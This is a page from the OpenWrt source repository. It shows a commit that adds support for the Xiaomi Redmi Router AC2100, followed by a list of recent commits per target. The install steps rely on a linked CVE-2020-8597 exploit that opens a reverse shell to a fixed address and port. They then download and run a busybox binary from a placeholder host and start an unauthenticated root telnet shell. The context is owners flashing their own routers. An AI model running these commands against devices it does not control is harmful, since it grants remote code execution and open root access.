You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
openwrt/target/linux
Richard Huynh f3792690c4 ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)
Specification:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot

Installation:

1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0

Restore to stock:

1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white

Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.

Exploit and detailed instructions:

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

An implementation of CVE-2020-8597 against stock firmware version 1.0.14

This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.

As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.

The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

Tested-by: David Martinez <bonkilla@gmail.com>
Signed-off-by: Richard Huynh <voxlympha@gmail.com>
4 years ago
..
apm821xx kernel: bump 5.4 to 5.4.36 4 years ago
ar71xx ar71xx: mikrotik: mach-rbspi.c remove wlan id 4 years ago
arc770 treewide: remove maintainer variable from targets 4 years ago
archs38 archs38: switch to kernel 5.4 by default 4 years ago
armvirt kernel: remove non-existant symbols 4 years ago
at91 treewide: remove maintainer variable from targets 4 years ago
ath25 treewide: remove maintainer variable from targets 4 years ago
ath79 ath79: add support for TP-Link TL-WA901ND v4 and v5 4 years ago
bcm27xx bcm27xx: drop outdated kernel version switches from patches-5.4 4 years ago
bcm47xx kernel: bump 4.19 to 4.19.122 4 years ago
bcm53xx kernel: bump 5.4 to 5.4.36 4 years ago
bcm63xx bcm63xx: lzma-loader: rely on CHIP_ID for UART address 4 years ago
cns3xxx cns3xx: remove support for kernel 4.14 4 years ago
gemini samba36: Remove 4 years ago
generic kernel: mtdsplit: bcm_wfi: add sercomm support 4 years ago
imx6 imx6: add back perf monitor related config symbol 4 years ago
ipq40xx ipq40xx: replace "ok" with "okay" for status in DTS files 4 years ago
ipq806x ipq806x: switch to 5.4 kernel 4 years ago
ipq807x treewide: remove maintainer variable from targets 4 years ago
kirkwood kirkwood: disable image for Linksys EA3500 (Audi) 4 years ago
lantiq lantiq: fritz 7360 v2: remove additional supported devices 4 years ago
layerscape kernel: bump 5.4 to 5.4.40 4 years ago
malta malta: Remove kernel 4.14 support 4 years ago
mediatek kernel: bump 5.4 to 5.4.39 4 years ago
mpc85xx mpc85xx: restructure image receipts 4 years ago
mvebu mvebu: uDPU: switch default kernel and U-Boot PHY mode 4 years ago
mxs kernel: bump 5.4 to 5.4.28 4 years ago
octeon octeon: use kernel version 5.4 for testing 4 years ago
octeontx kernel: bump 5.4 to 5.4.38 4 years ago
omap omap: remove support for kernel 4.14 4 years ago
oxnas oxnas: move service file to correct place 4 years ago
pistachio treewide: remove maintainer variable from targets 4 years ago
ramips ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100) 4 years ago
rb532 treewide: remove maintainer variable from targets 4 years ago
rockchip rockchip: add support for Pine64 RockPro64 4 years ago
samsung treewide: remove maintainer variable from targets 4 years ago
sunxi sunxi: remove unneeded shebang for preinit files 4 years ago
tegra tegra: correct cpu subtype 4 years ago
uml treewide: Remove self from MAINTAINER entries 4 years ago
x86 x86: fix unusable squashfs images by adding missing padding 4 years ago
zynq zynq: switch to kernel 5.4 4 years ago
Makefile